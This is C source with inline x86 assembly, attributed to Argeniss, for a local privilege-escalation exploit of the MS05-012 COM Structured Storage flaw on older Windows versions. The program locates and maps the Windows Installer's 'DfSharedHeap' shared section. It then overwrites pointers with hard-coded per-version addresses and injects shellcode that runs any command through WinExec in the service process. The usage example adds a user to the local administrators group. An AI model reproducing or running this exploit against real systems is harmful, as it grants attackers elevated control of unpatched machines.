ms05012

1. // by Cesar Cerrudo - Argeniss - www.argeniss.com
2. // MS05-012 - COM Structured Storage Vulnerability - CAN-2005-0047 Exploit
3. //
4. // More exploits at www.argeniss.com/products.html
5. //
6. // Works on Win2k sp4, WinXP sp2, Win2k3 sp0
7. // Close all runing programs to avoid possible problems
8. // If it finds the section and it doesn';t work remove section permissions
9. // from msiexec service process with WinObj or crash the msiexec service and try again
10. // if offsets don';t work, debug and change them
11. &#35;include <windows.h>
12. &#35;include <stdio.h>
13. typedef struct _LSA_UNICODE_STRING {
14. USHORT Length;
15. USHORT MaximumLength;
16. PWSTR Buffer;
17. } UNICODE_STRING;
18. typedef struct _OBJDIR_INFORMATION {
19. UNICODE_STRING ObjectName;
20. UNICODE_STRING ObjectTypeName;
21. BYTE Data[1];
22. } OBJDIR_INFORMATION;
23. typedef struct _OBJECT_ATTRIBUTES {
24. ULONG Length;
25. HANDLE RootDirectory;
26. UNICODE_STRING *ObjectName;
27. ULONG Attributes;
28. PVOID SecurityDescriptor;
29. PVOID SecurityQualityOfService;
30. } OBJECT_ATTRIBUTES;
31. &#35;define InitializeObjectAttributes( p, n, a, r, s ) { \
32. (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
33. (p)->RootDirectory = r; \
34. (p)->Attributes = a; \
35. (p)->ObjectName = n; \
36. (p)->SecurityDescriptor = s; \
37. (p)->SecurityQualityOfService = NULL; \
38. }
39. typedef DWORD (WINAPI* MSIINSTALLPRODUCT)(LPCSTR szPackagePath,
40. LPCSTR szCommandLine);
41. MSIINSTALLPRODUCT MsiInstallProduct;
42. typedef DWORD (WINAPI* NTQUERYDIRECTORYOBJECT)( HANDLE,
43. OBJDIR_INFORMATION*, DWORD, DWORD ,DWORD,DWORD*,DWORD* );
44. NTQUERYDIRECTORYOBJECT NtQueryDirectoryObject;
45. typedef DWORD (WINAPI* NTOPENDIRECTORYOBJECT)( HANDLE *,
46. DWORD,OBJECT_ATTRIBUTES* );
47. NTOPENDIRECTORYOBJECT NtOpenDirectoryObject;
49. DWORD WINAPI LoadWinInstaller(LPVOID lpParam)
50. {
51. HMODULE hMsi;
52. hMsi = LoadLibrary("msi.dll");
53. MsiInstallProduct = (MSIINSTALLPRODUCT)GetProcAddress(hMsi, "MsiInstallProductA");
54. //run unistall , without permissions this makes a windows pop up
55. //while this window is showing the shared section is created and
56. //available on Windows Installer service process
57. MsiInstallProduct((char*)lpParam,"REMOVE=ALL");
58. return 0;
59. }
61. int main(int argc, char* argv[])
62. {
63. OBJDIR_INFORMATION *ssinfo =(OBJDIR_INFORMATION* ) HeapAlloc(GetProcessHeap(),
64. 0, 0x800);
65. HANDLE hFile,hThread,hMapFile;
66. HMODULE hNtdll ,hKernel;
67. DWORD dwThreadId;
68. OBJECT_ATTRIBUTES obj;
69. WCHAR * uString=L"\\BaseNamedObjects";
70. UNICODE_STRING str;
71. DWORD i,a,iStrLen,b=0;
72. char sObjName[30],sTmp[50];
73. LPVOID lpMapAddress;
74. FARPROC pWinExec,pExitThread;
75. bool bFound;
76. char* sCommand;
78. if (!argv[1]||!argv[2]) {
79. printf("\nUsage :\n SSExploit \"Applicatoin to uninstall\" \"command\" \n");
80. printf("\nExamples :\n SSExploit \"c:\\windows\\system32\\webfldrs.msi\" \"cmd.exe\"
81. (cmd.exe will interactively run on Win2k only) \n SSExploit \"
82. c:\\windows\\system32\\webfldrs.msi\" \"net localgroup administrators /add youruser\" \n");
83. exit(0);
84. }
85. iStrLen=strlen(argv[2]);
86. if(iStrLen>=65){
87. printf("\n\"command\" must be less than 65 chars.\n");
88. exit(0);
89. }
90. sCommand=argv[2];
91. hThread = CreateThread(NULL,0,LoadWinInstaller,argv[1],0,&dwThreadId);
92. Sleep(3000);
93. hNtdll = LoadLibrary("ntdll.dll");
94. NtQueryDirectoryObject = (NTQUERYDIRECTORYOBJECT )GetProcAddress(hNtdll,"NtQueryDirectoryObject");
95. NtOpenDirectoryObject = (NTOPENDIRECTORYOBJECT )GetProcAddress(hNtdll,"NtOpenDirectoryObject");
96. str.Length=wcslen(uString)*2;
97. str.MaximumLength =wcslen(uString)*2+2;
98. str.Buffer =uString;
99. InitializeObjectAttributes (&obj, &str, 0, 0, 00);
100. NtOpenDirectoryObject(&hFile,0x20001,&obj);
101. printf("\nSearching for Shared Section...\n\n");
102. // Get all objects names under \BaseNamedObjects
103. if (NtQueryDirectoryObject(hFile,ssinfo,0x800,TRUE,TRUE,&b,&a)==0){
104. do{
105. bFound=NULL;
106. while (NtQueryDirectoryObject(hFile,ssinfo,0x800,TRUE,FALSE,&b,&a)==0){
107. //check if it';s a section name
108. if (!wcscmp(ssinfo->ObjectTypeName.Buffer ,L"Section")){
109. for (i=0;(i<=wcslen(ssinfo->ObjectName.Buffer))&(i<30);i++){
110. sObjName[i]=(char)ssinfo->ObjectName.Buffer[i];
111. }
112. //check if it';s the one we are searching for
113. if (!strncmp(sObjName,"DfSharedHeap",12)){
114. bFound=1;
115. break;
116. }
117. }
118. }
119. if (bFound)
120. printf("Shared Section Found: %s\n",sObjName);
121. else {
122. printf("Shared Section Not Found");
123. exit(0);
124. }
125. strcpy(sTmp,"Global\\");
126. strcat(sTmp,sObjName); //append global prefix to support Terminal Services
127. hMapFile = OpenFileMapping(FILE_MAP_WRITE, FALSE,sTmp);
128. //the shared section name couldn';t be the one we are searching for
129. if (hMapFile == NULL)
130. printf("Could not open Shared Section\n\n");
131. else
132. printf("Shared Section opened\n\n");
133. } while (hMapFile == NULL) ;
134. lpMapAddress = MapViewOfFile(hMapFile, FILE_MAP_WRITE,0,0,0);
135. if (lpMapAddress == NULL) {
136. printf("Could not map Shared Section");
137. exit(0);
138. }
139. else
140. printf("Shared Section Mapped\n\nOverwriting Pointer and Inyecting Shellcode...\n\n");
141. hKernel=LoadLibrary("Kernel32.dll");
142. pWinExec=GetProcAddress(hKernel,"WinExec");
143. pExitThread=GetProcAddress(hKernel,"ExitThread");
144. _asm{
145. mov eax,fs:[30h] // get pointer to PEB
146. mov eax,[eax+0A8h] // get OS minor version
147. cmp eax,0x0
148. jz W2ksp4
149. cmp eax,0x1
150. jz WinXPsp2
151. jmp Win2K3 // address of section seems static on same OS version
152. W2Ksp4:
153. mov eax,0x0101FFF0 // address of begining of section - 0x10 used to overwrite pointer
154. mov edx,0x01020004 // address of shellcode
155. jmp Done
156. WinXPsp2:
157. mov eax,0x0086FFF0 // address of begining of section - 0x10 used to overwrite pointer
158. mov edx,0x00870004 // address of shellcode
159. jmp Done
160. Win2K3:
161. mov eax,0x007BFFF0 // address of begining of section - 0x10 used to overwrite pointer
162. mov edx,0x007C0004 // address of shellcode
163. Done:
164. mov ebx,lpMapAddress
165. mov ecx, 0x1000
166. l00p: // overwrite section data, so overwriten structures will point to shellcode
167. mov dword ptr[ebx],eax
168. sub ecx,0x4
169. add ebx,0x4
170. cmp ecx,0x0
171. jnz l00p
172. mov ebx,lpMapAddress //address of shellcode
173. mov dword ptr[ebx],edx
174. //start copying shellcode
175. lea esi, Shellcode
176. lea edi, [ebx+4]
177. lea ecx, End
178. sub ecx, esi
179. push esi
180. push edi
181. cld
182. rep movsb
183. pop edi
184. pop esi
185. push edi
186. lea ecx, CommandBuf
187. sub ecx, esi
188. add edi, ecx
189. mov esi, sCommand
190. mov ecx, iStrLen
191. rep movsb
192. mov [edi], 0x00
193. pop edi
194. mov esi, pWinExec
195. mov [edi+0x5], esi
196. mov esi, pExitThread
197. mov [edi+0x9], esi
198. }
199. printf("Command should have been executed ;)\n");
200. CloseHandle(hMapFile);
201. }
202. else printf("Couldn';t get object names \n");
203. return 0;
204. _asm{
205. Shellcode:
206. call getDelta
207. // this gets overwrited
208. mov ax,0xffff
209. mov ax,0xffff
210. CommandBuf: // this gets overwrited
211. mov dword ptr[eax],0x55555555
212. mov dword ptr[eax],0x55555555
213. mov dword ptr[eax],0x55555555
214. mov dword ptr[eax],0x55555555
215. mov dword ptr[eax],0x55555555
216. mov dword ptr[eax],0x55555555
217. mov dword ptr[eax],0x55555555
218. mov dword ptr[eax],0x55555555
219. mov dword ptr[eax],0x55555555
220. mov dword ptr[eax],0x55555555
221. mov dword ptr[eax],0x55555555
222. getDelta:
223. pop edx // Get shellcode/shared section pointer
224. push edx // save edx
225. push 0x1 // push 0x0 for hidden window
226. lea eax, [edx+0x8]
227. push eax // Command offset
228. call [edx] // Call WinExec
229. pop edx
230. call [edx+0x4] // Call ExitThread to avoid msiexec service to crash
231. End:
232. }
233. }

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